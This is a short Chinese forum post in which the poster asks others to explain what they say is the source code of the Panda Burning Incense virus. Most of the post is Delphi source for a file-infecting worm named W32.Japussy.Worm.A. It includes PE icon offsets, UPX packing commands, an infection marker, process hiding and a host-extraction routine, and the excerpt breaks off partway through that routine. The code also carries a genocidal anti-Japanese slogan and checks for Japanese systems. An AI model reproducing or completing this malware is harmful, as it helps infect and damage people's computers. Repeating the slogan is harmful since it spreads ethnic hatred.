日期:2014-05-20  浏览次数:20786 次

高手请过来一下,帮忙译一下熊猫烧香的源代码!请问这是不是啊!
program   Japussy;
uses
Windows,   SysUtils,   Classes,   Graphics,   ShellAPI{,   Registry};
const
HeaderSize   =   82432;                           //病毒体的大小
IconOffset   =   $12EB8;                       //PE文件主图标的偏移量

//在我的Delphi5   SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
   
{
HeaderSize   =   38912;                           //Upx压缩过病毒体的大小
IconOffset   =   $92BC;                           //Upx压缩过PE文件主图标的偏移量

//Upx   1.24W   用法:   upx   -9   --8086   Japussy.exe
}
IconSize       =   $2E8;                           //PE文件主图标的大小--744字节
IconTail       =   IconOffset   +   IconSize;   //PE文件主图标的尾部
ID               =   $44444444;                   //感染标记

//垃圾码,以备写入
Catchword   =   'If   a   race   need   to   be   killed   out,   it   must   be   Yamato.   '   +
                'If   a   country   need   to   be   destroyed,   it   must   be   Japan!   '   +
                '***   W32.Japussy.Worm.A   *** ';
{$R   *.RES}
function   RegisterServiceProcess(dwProcessID,   dwType:   Integer):   Integer;  
stdcall;   external   'Kernel32.dll ';   //函数声明
var
TmpFile:   string;
Si:           STARTUPINFO;
Pi:           PROCESS_INFORMATION;
IsJap:       Boolean   =   False;   //日文操作系统标记
{   判断是否为Win9x   }
function   IsWin9x:   Boolean;
var
Ver:   TOSVersionInfo;
begin
Result   :=   False;
Ver.dwOSVersionInfoSize   :=   SizeOf(TOSVersionInfo);
if   not   GetVersionEx(Ver)   then
    Exit;
if   (Ver.dwPlatformID   =   VER_PLATFORM_WIN32_WINDOWS)   then   //Win9x
    Result   :=   True;
end;
{   在流之间复制   }
procedure   CopyStream(Src:   TStream;   sStartPos:   Integer;   Dst:   TStream;
dStartPos:   Integer;   Count:   Integer);
var
sCurPos,   dCurPos:   Integer;
begin
sCurPos   :=   Src.Position;
dCurPos   :=   Dst.Position;
Src.Seek(sStartPos,   0);
Dst.Seek(dStartPos,   0);
Dst.CopyFrom(Src,   Count);
Src.Seek(sCurPos,   0);
Dst.Seek(dCurPos,   0);
end;
{   将宿主文件从已感染的PE文件中分离出来,以备使用   }
procedure   ExtractFile(FileName:   string);
var
sStream,   dStream:   TFileStream;
begin
try
    sStream   :=   TFileStream.Create(ParamStr(0),   fmOpenRead   or   fmShareDenyNone);
    try
        dStream   :=   TFileStream.Create(FileName,   fmCreate);